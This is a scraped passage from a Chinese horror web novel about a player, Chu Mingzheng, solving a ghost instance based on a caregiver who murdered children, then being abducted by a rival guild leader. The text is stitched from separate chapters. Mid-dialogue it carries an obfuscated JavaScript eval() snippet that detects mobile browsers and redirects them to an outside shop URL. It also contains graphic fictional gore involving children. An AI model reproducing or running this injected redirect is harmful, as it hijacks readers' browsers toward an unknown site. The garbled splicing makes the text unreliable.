最后她本人扮作学校食堂的工作人员,当天中午浑水摸鱼进入学校,将自制便当与学校当天发给孩子们的饭掉包。 孩子们吃完立刻上吐下泻,出现极其严重的不良反应,已经悉数被送往医院。 六个孩子的家长赶到现场时当时就崩溃坐在地上了,嘶声嚎叫响彻整栋单元楼,满厨房的油汤汁水,孩子们的血水沿着地板的花纹流涌,菜刀因为剁骨削肉时用的力道太大,此时已经劈叉开来扔到案板边上了。 法医和刑警脚步沉重的拖着裹尸袋,将六具小小的尸体依次抬出去。 楚明铮简单翻看片刻之后就将报纸合上了。 他这人活到三十来岁,前半辈子经历太多,同情心和对血腥残忍程度的阈值都很高,分析起线索的时候脑子里只有解谜的快感,对案件本身受触动不深。 不过这个副本的背景故事实在是没意思,像个临时搜罗的社会新闻,连关卡和层级恐怖都没好好设计,就投放进系统里做副本了。 楚明铮合上手电筒,打开女主人的手机准备再看看。 一开屏就是密码锁,屏保是她女儿的照片。 楚明铮思考了两秒都不到,就果断的将密码输入进去了,手机锁屏应声而开。 楚明铮眼神闪烁了一下,低头在手机中划拉起来。 “认识的呀!我认识凶手的呀,她还来开过家长会呢!是不是,是不是?你们都记得吧。”视频采访中的家长一边摇头晃脑的对记者讲话,一边转头搜集其他家长的情报:“我那个时候就对她可有印象了!” “长得高高大大的,看着是个挺面善的家庭妇女,啧,这有什么不好了解的,她闺女也是我娃班上的!” “记者同志你是不知道,学校门口的这种午托班,开的都良莠不齐的,我们把娃放在哪儿,说实话都不放心,哎可巧!我娃有一天回来说,说他们班同学妈妈在校门口开了个小饭桌,他们班有一半同学中午都在那儿吃饭。” “我娃本来也想去的,但是我们家这不是住的离学校近,我就让他中午直接回家,我给他留饭。” “没想到还躲过一劫!”镜头前那家长说着说着喜极而泣:“今天中午也是的,我娃不在学校吃饭,也没吃上那个人肉盒饭,哎呦哎呦真是骇死人了……” 身后传来一阵其他家长的哭喊控诉。 “这时候幸灾乐祸有意思吗!我女儿中午吃了饭,现在还在医院躺着呢!” “就是啊!一点同理心都没有。” “你让那些死了孩子的家长怎么办!” 身后一阵群情激愤,那个最开始发言的家长倒是不敢再说话了。 视频内容到此为止,女主人的手机电量只剩下五格了,楚明铮简单又翻了一下,发现手机里确实没有更有用的信息了。 九个孩子就是那餐桌上九个小孩鬼,副本里的女主人就是报纸上文中骗孩子回家杀害的托管班阿姨。 于是他最后又看了一眼屏保上的小女孩,熄灭屏幕,将手机揣回了口袋里。 眼下只是了解了个背景故事,这个案件还有好几个疑点都是他没想明白的。 离开这个副本的途径也全无线索,楚明铮手中的报纸发出嘎吱嘎吱的褶皱声响,空气里变的阴冷了起来。 楚明铮忽然感到后脖颈又湿又冷,连带着肩胛骨那一片隐隐泛着酸痛,他下意识拧动了一下脖子,发现身体沉重无比,一时竟寸步难行,仿佛有个什么东西从天灵盖上压下来了一样。 五脏六腑都被冻的发涩。 楚明铮站在漆黑一片的卧室里,长长的叹了口气,勉强挪动脚步,将自己转了个身,面朝向卧室门口的那面穿衣镜。 镜子里总是能照出一些人肉眼看不见的东西。 就比如一个骷髅模样的小女孩此时正张开双臂,环抱着楚明铮的脖颈,泛着尸斑的小手紧紧勒着他的咽喉,青白色的小嘴边缘泛着黑气,鬼气森森,一张一合,冲着楚明铮的耳朵吹冷气。 楚明铮站在镜子前,平和的看着她,开口问道:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16668174|187645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 女主人……就是那个托管班的负责人是你妈妈?” 空气里传来一阵阴测测的鬼笑,明明声若银铃,带着孩童特有的天真稚气,然而回荡在此时此刻却仿佛泛着彻骨寒意,令人不寒而栗。 “新闻里没讲你的事情。”楚明铮继续心平气和的问:“你是怎么死的?” 看不见的小女孩将双臂缠绕的更紧,满身尸水白汤顺着楚明铮的肩头往下淌。 楚明铮也不生气,叹气道:“所以是你妈妈连你一起杀了?” “好没道理的举动。”他喃喃道:“我收回我刚才的想法,这个副本也没有很简单。” 卧室门口处传来一阵焦急的脚步声,下一秒许祁川破门而入,直挺挺冲到门口,却站着不敢动了。 “哥哥!你,你没事吧?”许祁川气喘吁吁的道。 楚明铮摇了摇头,示意他没事。 许祁川刚松了一口气,紧接着又吊回去了,指着楚明铮惊恐道:“你脖子上那是什么!” 楚明铮惊讶的闪动了一下眼光:“你居然能看见她。” “我当然能。”许祁川心脏一跳,镇定道:“我天生阴阳眼。” “那你很有天赋了。”楚明铮赞许道:“连我都只能站在镜子面前,才能看见她。” 许祁川点了点头,毫无异色的接下了这番夸赞:“嗯,谢谢哥哥。” 楚明铮背上背着个小鬼娃娃,此时有点体力不支,略显疲惫的扶了一下墙,许祁川的脸上立刻浮现出担心的神色,伸手作势要扶。 然而楚明铮一抬手,做制止状。 许祁川只好停下脚步,忐忑而无奈的望着他。 “其他人呢?”楚明铮随口问。 “都在餐厅对付女鬼。” “他们不会全灭吗?” “我不知道,我是逃出来的,我担心你,等你这边麻烦解决了,我们再回去看餐厅的情况。”许祁川诚恳道。 楚明铮沉默半晌,最终点了点头:“那你过来帮我把她弄下去吧。” 许祁川答应一声,举步向前走到他身畔。 年轻人的眼里含着几分强行压下去的害怕,他低头咬了一口自己的手指头,指尖倏然冒出血花来。 他举着手指要往鬼娃娃身上洒血,忽听楚明铮开口了。 “你不是童男,确定这么做有用?” 许祁川微微偏过头,电光火石间他就反应过来这话什么意思了,然而他回神的太慢躲闪不及,小腹重重挨了一脚,被人用尽全身之力踹翻在地。 他冷不防从喉咙里呛出一口铁锈味,抬头只见楚明铮居高临下注视着他,嘴里冰冷的吐出话来。 “或者说,我应该喊你大名,对吗?“楚明铮一字一句。 “齐栩。” 50-60 第51章 “你对人情社会的理解太…… 屋里屋外霎时间一片寂静。 满屋子的工作人员齐齐回头,目瞪口呆的看着齐栩和楚明铮。 楚明铮一口老血哽在胸口,回头怒道:“没有!” 祝檀雪下意识用探寻的眼光去看齐栩。 齐栩凄凉伤感的跟她对视一下,末了轻轻咳嗽着垂下头,伸手将楚明铮推开了。 “小雪,来扶我一把,我们走吧。” 祝檀雪忙不迭的召了几个人过来:“好的长官,这就来。” 一众穿着黑色制服的主控中心工作人员有条不紊的上前,拿吊瓶的拿吊瓶,扶齐栩的扶齐栩,还有人拎着齐栩的外套随时准备着给他披上去防止着凉。 楚明铮在一旁看的窝火至极,一脑门子官司没处发泄,只好恨恨的瞪了齐栩背影一眼,快步出去给这帮人开门,心里祈祷这这群人赶紧走吧,别再回来了。 齐栩大概是真的以为他把小鬼婴扔掉了,在短暂的悲伤流露过后,脸上就再也没有露出过别的神色了,从仓库到院落,面容始终冷峻如冰,也没有再回头瞥楚明铮一眼。 楚明铮心里憋着火,懒得理他,也懒得解释,只求他赶紧从基地出去。 司机将轿车开进了基地的院子里,很快有人上前给齐栩打开车门,恭敬的等候他上车。 楚明铮看了一眼自己被车轮碾压过的草坪,深吸一口气,强迫自己把这茬忍了,草坪坏了可以再修剪再养,只要先把这祖宗送走—— 就在这时,屋内小鬼婴大概是感应到了齐栩的离开,从睡梦中蓦然惊醒,嚎啕大哭起来,哭声震天,瞬间炸响基地上空。 齐栩瞬间停滞住上车的动作,无比震惊的回过头,看向楚明铮:“师父!你,你没丢掉他?” 楚明铮功亏一篑,当即暴躁出声,越过一众保镖护卫,走到齐栩面前伸手将他领子狠命一拽,薅着对方就往车门里塞:“不关你事,你给我滚。” “怎么能不关我事——” 齐栩返身就要下车,两人在车门口拉扯半晌,一众手下见此情形都不敢靠近,只好战战兢兢的在旁边装死。 楚明铮吐出一口冷气,屈膝一顶,倏然用膝盖骨将齐栩用力抵在了车门上,坚硬的骨头硌着齐栩的腰腹,楚明铮使了个巧劲勉强制住他,低声威胁道:“你要是还想再见到孩子的话,现在就给我走。” “不然你试试看,我敢不敢把他溺死在后院的水坑里。” 齐栩僵硬着不动了,一双眼睛骨碌骨碌的转动着,试图从楚明铮眼中分辨出他言语的真假。 楚明铮毫不松动力气,始终跟他僵持着。 直到齐栩轻轻叹了口气,答应道:“好。” 楚明铮这才松开了他,一众人等陆陆续续从基地里上车,数量印着主控中心标识的黑色轿车鱼贯而走,很快在黑夜里消失了踪影。 小鬼婴仍然在楼上呜呜咽咽的哭,楚明铮送走了大的,转头又回去对付小的,感觉自己后脑勺冒烟,仿佛这辈子一眼都看到头了。 “债主。”马飞仙仿佛一个游魂一样,悄没声的飘到了他身后。 他走路没声音,给楚明铮吓了一跳,没好气的问:“怎么了?” “你那儿子,打算哭到什么时候?”马飞仙飘到了他面前,一脸哀怨的瞪着他。 “我怎么知道,我倒也想让他闭嘴。”楚明铮烦躁道。 “老夫刚从副本里出来,就想安安稳稳睡一觉,你儿子哭的余音绕梁,一比一还原副本里的深山鬼泣,老夫这把身子骨实在是难以为继啊,要不你给转个账,我到路口的酒店去开房住一晚上?” “我没钱。”楚明铮干脆道。 “那怎么办!”马飞仙崩溃道:“不光是我啊,那小妙和云帆,肖晴也难受,是不是?” 楚明铮回过头去,果然看见了站在门槛处同样顶着黑眼圈的几人,都无声而幽怨的诉说着他们的委屈。 楚明铮:“……” 这都什么破事。 良久,楚明铮叹了口气,示意道:“去我书房拿银行卡,自己出去找地方睡。” 楚小妙“哦耶”一声,欢欣鼓舞的飞奔回书房拿钱去了。 肖晴站在原地没动,一脸疑惑道:“不对啊楚哥,你哪儿来的钱,你四年前死的时候,银行卡不是都注销了吗?” “齐栩给的。”楚明铮没什么起伏的回答。 马飞仙和肖晴:“……?” “看我干什么,他那次来给我送恢复药物的时候一并在我大衣口袋里放的!”楚明铮怒道:“再说他把我害成这样,赔点钱怎么了?” “你们到底订不订酒店?不订就把卡还我!” “订订订……” 一群人忙不迭的互相推搡着走了,基地里终于空了下来,偌大的院子只剩下楚明铮一个人。 楚明铮站在原地磨磨蹭蹭的打转了片刻,月光将他修削的身形勾勒出一层浅浅的光弧,他长腿微屈靠坐在石墩上,忽然想起什么了似的,从口袋里摸出手机。 他顺着惯性记忆,点进熟悉的网站,网站最顶头赫然就是玩家积分排行总榜。 楚明铮的ID正金光灿灿的位列总榜第二。 底下论坛果然讨论的天翻地覆,都在猜测往届大佬楚明铮为什么无故消失四年,又重新出现,他到底是死了还是被主控中心高层潜规则了,亦或者是被主神抹杀了…… 众说纷纭,热火朝天,所有人各有各的猜测。 楚明铮本人对这些乱七八糟的说法没什么搭理的兴趣,他自始至终觉得这个鬼排名跟有毛病一样,每个人总共就八十一个副本,早过完早了事,早回归正常生活。 所谓积分,等级,排名……都不过是这个血腥残忍制度的衍生物,没什么可景仰的。 楚明铮从没以自己的高排名为荣过。 甚至退一步来说,高排名就代表着高关注度,就代表着全体玩家都认识你,谁也不愿意在副本里九死一生的情境下,还得提防着其他玩家或崇拜或恶意的举动。 鬼怪已经够难对付了,这下还得对付人。 小鬼婴的哭泣一阵一阵的,基地里的人刚离开,他却又不哭了。 大概是哭累了,睡着了。 楚明铮没心思回去管孩子,他这会儿心烦意乱,没来由的想抽烟,但是楚小妙早就把他的存货全销毁了,重生回来还一直没来得及买。 楚明铮返身回到屋子里,想了想,转身去马飞仙房间的柜子里翻找片刻,果然扒拉出一点零钱。 他心安理得的将这些零钱揣进兜里,又走出基地大门,买烟去了。 基地的方圆五公里内其实是有一层道具防护的,寻常玩家和普通人都难以靠近这里,这也是为什么在楚明铮名气如此大的情况下,却没什么人敢来住处打扰他的原因。 楚明铮这个人生性很宅,精力不高,如非必要,基本不出基地大门,就算进副本,以他的级别,也只会和同等级的高阶玩家分配到一起,轻易接触不到普通玩家。 这种生活习惯在外人眼里,显然给楚明铮增添了不少神秘性。 不过他本人并不知道就是了。 也就齐栩和他的那帮主控中心的手下,能靠着高人一等的主神权限,对楚明铮的基地肆意进出了。 楚明铮一边往基地外几公里处的小卖部走,一边暗自思考着这个问题。 他可不想让主控中心的那帮人时不时的来自己这儿团建一番,那日子还过不过了。 他掀开帘子,走进小卖部,被屋内空调的冷气吹的打了个哆嗦。 “要点什么?”小卖部老板笑容可掬的问。 楚明铮指了一下柜子里的烟盒:“诺,这个。” “微信还是支付宝?”老板目光闪烁了一下问道。 “现金行吗?” “行。”老板爽快道。 楚明铮低头去口袋里摸零钱,余光不经意间朝小卖部敞开的玻璃门那儿瞥了一眼,他掏钱的动作停顿了一下,随即抬眼看向老板。 老板仍然笑眯眯的问他:“怎么了,钱不够?” 楚明铮开口平静道:“我认识你。” 老板跟他隔着柜台对视,不答话。 变故在电光火石间发生。 楚明铮一脚踹翻面前的玻璃柜台,从烟盒到棒棒糖稀里哗啦洒了一地,耳畔砰砰两声枪响,灼烧的火药味道霎时间在小卖部里蔓延开来。 那老板分明是一个年过半百的中年男人,可动作反应丝毫不慢,单手一撑另一块没被楚明铮踹翻的柜台,整个身体腾空而起,朝侧一拧,顺手抄起立在一旁的关东煮大锅,朝楚明铮劈头盖脸砸下去。 楚明铮眼神一凛,顾不得锅壁烫手,回身用肘关节一撞! 满锅热汤肉串泼飞上天,中间还夹杂着几枚正在用关东煮汤汁浸泡以便更入味的卤蛋,全数在空中凝固半秒,随即瓢泼而下。 楚明铮趁着这一秒都不到的功夫,上手直拽老板衣领,拼命将他按着一把撞向了身后高耸的货架! “轰——隆——” 货架轰然倒塌,薯片袋子和巧克力锡纸同时被撞的向上飞起,关东煮的数把签子和肉串在楚明铮身后稀稀拉拉的滚了一地。 地板上全是热乎乎的汤水,蔓延出一屋子的香气。 楚明铮将老板按翻在地,目光狠戾,动作利落,动手就要反拧对方脖子,逼问他是谁派他来的。 却听身后传来很轻的一声笑。 有人不紧不慢的从地上捡起了一根关东煮,拿着最尾端将签子轻轻抖落了一下,一整根肉串随之掉落在地上。 露出最前处锐利的签子尖端。 他握着那根关东煮签子,轻轻抵在了楚明铮脖颈上的大动脉处,柔声道:“好了,放开我的属下,把手背到身后去,不然你知道后果的。” 楚明铮听见这个声音,就知道事情不妙。 但是他显然也没有更好的办法,只得深吸一口气,闭上眼睛,按对方说的做了。 小卖部后门里涌进来数十个五大三粗,保镖模样的人,为首几人上前,一左一右扣住了楚明铮的肩膀,将他押着带进了后门的仓库里。 楚明铮被人按在了椅子上,头顶刺眼灯光照射下来,楚明铮忍不住要抬手遮挡。 旁边即刻有人要动手将他双腕铐到身后,防止他再次出手伤人。 “不用铐他,他跑不了。”男人闲庭信步的走进来,随意拉了把椅子,在楚明铮面前坐下了。 楚明铮冷笑一声,睁眼直视着对方,报出了对方的身份:“唐虞非。” 第二公会首领唐虞非,公会排位仅次于第一公会的齐栩,实力排位不详,但是能成为六大公会首领之一,显然不可能是草包。 齐栩当年空降主控中心,首先挤掉的就是原第一公会首领周自重,他取而代之了周自重的岗位,统领了第一公会。 剩下几大公会的人当然不服,也生怕这个空降的执政官对自己不利,于是集体策划暴动试图改变局势,据说被齐栩用极其残酷的手段镇压下去了。 但是具体什么手段,除了当事人外,至今没人知道。 周自重含冤受屈的被下发到闲职岗位,唐虞非等人倒是安然无恙,但是这并不意味着他们安全了。 只是说他们目前能相互制衡,没有主神允许,齐栩暂时奈何不了他们了而已。 手上多张牌总是没坏处的,唐虞非一向这么认为。 齐栩到底是个年轻人,不懂得隐藏自己的软肋,唐虞非遗憾的想,一旦被对手摸到了软肋,他也就离消亡不远了。 主控中心的斗争暗潮流涌,而这位齐长官的软肋,却是一张明牌,这是个多么愚蠢的事情。 唐虞非饶有兴趣的打量着对面的这位,“软肋”。 “楚先生。”他礼貌而谦和的朝楚明铮伸出了手,递到对方眼睛底下:“又见面了。” 楚明铮抱臂而坐,没有把手伸出去。 唐虞非也不生气,愉快的收回手:“上次见你还是五年前呢,你最后一次去主控中心提交补充数据,还跟我面对面喝了茶……那时候齐栩还没有入住主控中心,真是怀念。” 楚明铮并不傻,他怜悯而嘲讽的看着眼前这位第二公会首领,半晌开口道:“……你今天费这么大阵仗来找我,不会是以为把我扣在这儿,齐栩就会乖乖从主控中心滚蛋吧?” “我没有费很大阵仗。”唐虞非纠正他:“我只是盘了一个小卖部的店铺而已。” “你这地方很偏,地理位置不好,五六万就盘下来了。”他又补充道。 楚明铮无言的望着他。 “……需要我夸一下你精明的商业头脑吗?”楚明铮讽刺了一句。 “不用。”唐虞非温文道:“楚先生值这个价。” 楚明铮沉默,少倾简短道:“谢谢你的认可。” “不客气。”唐虞非轻快道:“我们还是来谈一下正事吧,我是来找你合作的。” 楚明铮挑眉。 “齐栩现在的位置虽然凌驾在我们所有人之上,但是本质上他仍然是个不成熟的年轻人,这点我想你比我更深有体悟。” 楚明铮靠坐在椅背上,没说认同,也没表示反驳。 “他的空降得罪了很多人,显然他也没有足够的情商去让这些被他得罪的人心甘情愿归于他的麾下,一个人光靠自己是走不远的,无论你的实力再强。”唐虞非加重语气,重点强调了最后几个字。 “这是一个人情社会。” 楚明铮终于笑了。 唐虞非话音一顿,眼睛眯了起来:“看起来你有相左的意见。” “人情社会?”楚明铮重复了一遍他的话。 “不如你现在拎两摞现金,往主神面前一砸,说‘主神,这是我给你上的礼,请您笑纳……’然后你看看祂会不会在下次副本中放你一马,让那些鬼怪不要杀你,因为你给祂上了两摞现金。”楚明铮好笑道。 “你对人情社会的理解太肤浅了。”唐虞非接话道。 “你对齐栩的了解也太肤浅了。”楚明铮语气一变,骤转冷淡:“他是我带大的,他知道尊重是靠实力争取来的,而不是靠你的破人情,只要实力够强,给主神解决的事情够多,主神就会继续用他,他就永远不会被踢出主控中心。” “靠跟你们这些蝼蚁打好关系,这辈子也就是个第二公会的领袖了。” 唐虞非一把掐住了楚明铮的脖颈,逼迫他闭嘴了。 楚明铮艰难的咳嗽了两声,眼底微光闪动,毫无惧色:“有本事你像他一样,当年能把我从总榜第一的高位上拽下来,让我一夜消失,活不见人死不见尸,那我愿赌服输无话可说。” “——可是显然现在你做不到,你也就只能欺负一个刚刚死而复生的病人了,是不是?” 唐虞非铁青着脸,手却慢慢松开了。 屋里万籁俱寂,只有沉闷的呼吸声。 “行,楚明铮。”唐虞非双手交握,重新坐回椅子上,看起来平复了不少:“我不跟你争这个。” “我只是要告诉你,齐栩目前在主控中心并不能服众,还是有很多人在暗处觊觎着他的位置,一门心思的想把他搞下来,他大概率罩不了你太久,而且据我所知,你们师徒的关系并不好吧。” 楚明铮抚摸了一下受伤的喉咙,简短道:“不关你事。” 唐虞非点头:“好,我只是提个建议。” “什么建议?”楚明铮耐心的问。 “你不是一直想摆脱他吗,不如加入我们第二公会,我保证他绝对没办法像现在这样,随时随地的来登堂入室。” 第52章 过来帮我解开手铐,我的…… 一阵长久的寂静。 唐虞非目光灼灼的看着楚明铮,四下护卫持枪立棍严阵以待。 四下阴影围拢在楚明铮垂落的眼睛里,他不易察觉的勾了一下嘴角,没有着急回答这个邀请。 “我这个人向来是说到做到。”唐虞非耐心道:“你可以暂时不答应我,我也可以给你考虑的时间,但我的邀请是有时限的,机不可失,失不再来。” 楚明铮嘲弄的朝他眨了一下眼睛,笑道:“可是你连正面跟齐栩掰手腕的力气都没有,怎么能让我相信,我加入第二公会之后,你一定会罩我呢?” 唐虞非站起身来,居高临下注视着他,这个俯视的角度让楚明铮很不舒服,但是身后有荷枪实弹的第二公会护卫,他暂时没法站起来跟唐虞非平视,于是默不作声的移开了目光。 唐虞非并没有给他回避的机会,蓦然伸手,扳过楚明铮的下颌抬了起来,他摩挲着楚明铮那张清俊漠然的面容,轻声道:“你怎么就能确定,我没有跟齐栩掰手腕的力气?” 楚明铮猛然仰身,将下颌从对方的虎口间撤出来:“你给我好好说话,别动手动脚!” 唐虞非收回手去,不咸不淡的捻磨了两下手指,指尖都是那人脸颊上温润的凉意。 “你可以不信我,但是你得想好,等我扳倒了齐栩,对你的待遇,就不一定是这样了。” “所以你们主控中心暂时还是齐栩掌控大局,是不是?”楚明铮缓了一口气,对他的话进行翻译道。 唐虞非深吸一口气,耐着性子不情愿的回答:“是。” 楚明铮笑了笑:“所以,唐首领,你也看到了,我这个人目光短浅,只看得到眼前的蝇头小利,我们只论眼下,我放着我自己养大的主控中心一把手不用,我跑去投奔你?” “听起来像是我楚明铮脑子坏掉了。” 唐虞非皮笑肉不笑:“你既然脑子没坏,那有没有想过另外一个事情?” 楚明铮点点头,示意自己洗耳恭听。 唐虞非拎起那根关东煮签子,重新将尖头倏然对准了楚明铮的咽喉,这回是彻底的直接拿削尖的签子抵在了楚明铮喉结外的皮肤上,手指微紧,朝前送了毫厘。 楚明铮呼吸紧了一下,但是面色不变,依旧安然的注视着对面明晃晃的威胁。 “你现在在我手上,你还敢这么肆无忌惮的得罪我,无非是以为我忌惮齐栩,不敢把你怎么样,你就不怕,我让你再也出不了这个屋子?”唐虞非用关东煮的签尖轻轻划过楚明铮的咽喉,柔声道。 “你就算再厉害,那也只是在副本里厉害,出了副本,你一个凡胎肉骨,拿什么跟主控中心的人抗衡?那什么跟我抗衡?” “我先杀了你,再回主控中心跟齐栩鱼死网破。” 楚明铮倏然抓住了他的手腕,拽着他握签的手就往自己颈间用力一送! 唐虞非果然霎时间变色,瞬间扔掉签子,尖头极其惊险的跟楚明铮的皮肉擦身而过,没伤到他分毫。 唐虞非扬手打了楚明铮一耳光,气的浑身发抖,伪装多时的温润面具终于再也维持不下去了。 楚明铮双腕被身后的人强行反缚着,铐在身后,喘息着动弹不得了。 他脸上落着掌痕,尽力抬眼,嘴角一丝血水溢出,显然唐虞非这一巴掌没收力道。 那一瞬间唐虞非是真的害怕了,他当然没打算跟齐栩鱼死网破,他只是想要拿到这张牌,以此多一块筹码跟齐栩抗衡。 楚明铮若是真死在他手上,那他才真是万劫不复。 楚明铮被人一把攥起头发,强行提着抬起脸颊,直视着唐虞非。 唐虞非盯着那双冷淡讥嘲的眼睛,竟一时间不知道说什么,只冷笑出声:“你是真敢对自己下手。” 楚明铮扯了一下泛血的嘴角,疼的忍不住抽了片刻冷气,虚弱的回答道:“是啊,你以为呢。” 唐虞非攥他的力道又加大了几分,脸上神情颇有点咬牙切齿的意味了。 楚明铮笑的幽然,开口问道:“难不成你以为,齐栩拿我没办法,只是因为我曾经是他师父的缘故吗?” 唐虞非一怔,心说这其中难道还有别的他不知道的隐秘手段? “因为我不怕死。”楚明铮气喘吁吁的回答道:“大不了就死,我死过一回,知道那没什么可害怕的,所以没有人能拿我如何,弄死我也无济于事。” “听懂了吗?” 唐虞非的脸色越发阴沉,他伸手在楚明铮淌血的嘴角用力按压下去,一字一句道:“那要是……生不如死呢?” “你怕不怕?” 楚明铮疼的生理性泪水蓦然泛起,啪嗒一声,打落在唐虞非的手背上。 唐虞非心神一顿,难以置信的看着自己手上的那抹温热。 手下被钳制住的男人眼眶红的滴血,神情却还是强硬的,肤色苍白,在仓库黯淡灯光的映照下,很有点眉目如画的感觉。 “你……” 小卖部门口忽然传来几声窸窸窣窣的动静,听起来像是有什么东西在地上爬行。 唐虞非收回心神,神情一冷,吩咐手下说:“出去看看,把他们打发走。” “是。”护卫转身领命出门。 护卫走到小卖部门口,却半天找不见声音动静的来源,他疑惑的转了好几下脑袋,都一无所获。 就在他准备转身回去汇报的时候,脚底下忽然被一个软乎乎的东西给缠住了。 护卫愣神,紧接着低头一看,只见地上居然趴着一个没穿衣服的小孩! 这小孩长得很诡异,通体惨白,眼睛漆黑幽深,浑然不似普通孩子,整个身形很瘦很瘦,大概刚出生没多少天,手臂和双腿都细的跟树杈子一样。 看起来稍微一扒拉,都能拦腰折断。 护卫完全震惊了,不由自主的没忍心踢开他,张口结舌的问了一句:“……你是谁家孩子?” 屋里楚明铮听到孩子的一瞬间,神情很明显的流露出一丝讶异,但是他又对自己的猜想难以置信。 “什么孩子?”唐虞非转身蹙眉,打开了仓库的大门。 大门打开的一瞬间。 小鬼婴尖利的哭声响彻云霄。 那动静简直是歇斯底里,魔音贯耳,顷刻之间包裹了这方寸小卖部,更恐怖的是仓库内里,它是一个封闭性铁皮柜一样的场所,哭声嘶哑分贝极高,声波来回撞击之间起到了三重奏的效果。 楚明铮对这哭声已经习以为常了,他从把小鬼婴从自己肚子里剖出来,无时无刻不在忍受这熊孩子哭天抹泪的折磨,他倒是不觉得很难受,只是想不通另一个事情。 小鬼婴是怎么出现在这里的? 小卖部离基地起码五公里远,他临走前把鬼婴放在了自己二楼卧室的床上。 从二楼卧室到一楼大门,再从一楼大门到基地院子的大门,那中间都是一个不短的距离。 然后从基地到小卖部更是连成年人都得走一会儿才能走到。 难不成这死孩子会瞬移? 哦,“死”是一个客观形容词,楚明铮没有骂小鬼婴的意思。 楚明铮倒也不是很担心小鬼婴的安危,反正是个累赘,真死在唐虞非手里了也没事,刚好也省了齐栩那边的麻烦,齐栩肯定会因为小鬼婴的死,去找唐虞非的事,然后他就可以看这俩人狗咬狗,何乐而不为? 楚明铮一边想着,一边漫不经心的抬头,随即神情一凝:“嗯?” 他发觉情况好像有点异样。 唐虞非和身边手下不约而同的捂起了耳朵,神情痛苦,身后两个原本押着楚明铮的护卫,此时也没力气管他了,纷纷连声惨叫着去堵耳朵。 空气里飘来血腥味,唐虞非和手下们的耳朵里居然流出了血,血水从捂着耳朵的指缝间汹涌而出,沿着每个人的手骨汩汩淌到地面上。 一屋子第二公会成员此起彼伏接连惨叫,离仓库大门最近的那几个人,挣扎着想去合上门,将鬼婴的声音关到门外,然而他们刚一松开耳朵,哭声震感更强,耳膜出血量瞬间变大,无一不踉跄跪倒在地上,动不了了。 楚明铮目瞪口呆,心说这什么情况? 小鬼婴的哭声在他耳朵里,就是很平常的婴儿啼哭的声音,而且方才齐栩手下那些人听了也没事,楚小妙和马飞仙这些基地里他自己的队员也没有别的反应。 为什么能把第二公会的人折磨成了这样? 唐虞非捂着耳朵,躺在地上,胸腔剧烈起伏,看起来难受到了一定程度,眼睛仍然片刻不错的瞪着楚明铮,试图从他眼中找到一丝破解之法。 楚明铮遗憾的摇摇头,示意我也不知道。 他活动了一下被抓疼的肩胛骨,从椅子上站起来,起身走过去踢了一脚唐虞非,朝他晃了晃自己身后被铐住的手腕:“钥匙拿出来给我解开,我就让他闭嘴。” 唐虞非喘息着摇头,吐血道:“你做梦。” “你铐着吧,这是主控中心特制的手铐,只有内部人员有钥匙,咳咳……” 楚明铮冷眼打量着他,忽然挑唇一笑,恶意道:“会长,耳朵流了这么多血,你怎么还能听见我说话啊?” 唐虞非掌心里全是黏糊糊的血水,耳朵连接大脑神经,疼起来的确要命,而且按照这个出血量,显然已经造成损伤了。 楚明铮朝仓库外吩咐一句:“行吧宝贝儿,再哭大声点。” 小鬼婴憋足气息,仿佛运气一般,下一秒,以海豚高音之势歇斯底里再次高哭起来,唐虞非疼的肝胆俱裂,“嗷——”的惨叫一声,昏倒过去人事不省了。 楚明铮双手被铐在身后,却不慌不乱,溜溜达达的走出仓库,此时再没有一个人能爬起来拦他了。 他在一排倒塌的货架下,找到了小鬼婴。 他什么都没穿,大概是直接从襁褓里爬出来的,浑身上下都是光溜溜的,苍白细瘦的身体上全是灰土,膝盖和手掌都是磨掉一层皮的血肉。 楚明铮愣神道:“你是从基地里一路爬到这里找我的?” 小鬼婴抽抽噎噎止住了哭声,一哽一哽的往楚明铮身畔缩着爬过来,楚明铮站在原地没动,心道这鬼婴的身体素质的确不同于寻常婴孩。 普通人类小孩别说光着屁股在野外爬五公里来找妈妈了,平时在家稍微吹点冷风都得感冒。 而这鬼婴不仅沿着他离开的气息一路追到了这里,还一嗓子哭翻了一众敌手,简直以一敌十,万夫莫开。 楚明铮神情复杂,冲着小鬼婴蹲身下来,连他自己都不知道,自己看着这孩子的目光,变得格外柔和。 “我被铐起来了,没办法抱你。”楚明铮耐心的给他解释道。 小鬼婴闻言“呜呜……”的一声,又开始哭唧唧。 楚明铮无奈:“但是刚才里边的那个人说,手铐是主控中心特制的,所以你另一个爹大概率有办法解开。” “我跪下来,你能够到我的口袋,帮我把手机扒拉出来吗?” 小鬼婴茫然的看着他。 “好吧,原来你听不懂话。”楚明铮点头:“所以你来这里救我,纯粹是出于对母体的依恋吗?” 小鬼婴趴在地上翻了个身。 楚明铮:“……算了我自己来吧。” 他维持着这个双手被铐住的姿势,腰胯一拧,将装手机的右边裤子口袋递送到了自己身后,再用指尖尽力去够,好不容易才将手机从口袋里够了出来,双手背后,握在手上。 楚明铮用余光隐隐能看清一点点手机页面,他循着记忆,找到了通话APP,摁开了最顶上的特别联系人,把电话打了过去。 “嘟,嘟,嘟……” 几声铃响,那边很快接通,传来齐栩惊讶的声音:“师父?” 他显然没想到楚明铮这辈子会主动给他打电话。 “怎么了?”他连忙问。 “你可能得回基地来找我一趟。”楚明铮看着眼前一片狼藉的小卖部,对电话那头语气平静道。 齐栩语气急促起来:“我刚从基地回到办公室,你出什么事了?” “啊,也没什么大事,就是差点死在你主控中心同事的手上。” 楚明铮轻松的道:“你出门的时候,最好拿把钥匙,过来帮我解开手铐,我的手快疼断了。” 对面传来“轰隆”的几下重物落地的声响,听上去他这通电话把齐栩吓的人仰马翻,直接把办公室给拆了。 第53章 “师父你……别害怕。”…… 齐栩裹挟一袭寒风推门进来,他一眼看见了双手背后坐在地上休息的楚明铮。 “师父!” 楚明铮长腿散漫的耷拉在地上,听见他来了,就“哗啦”一声,冲他晃了一下身后的手铐:“赶紧。” 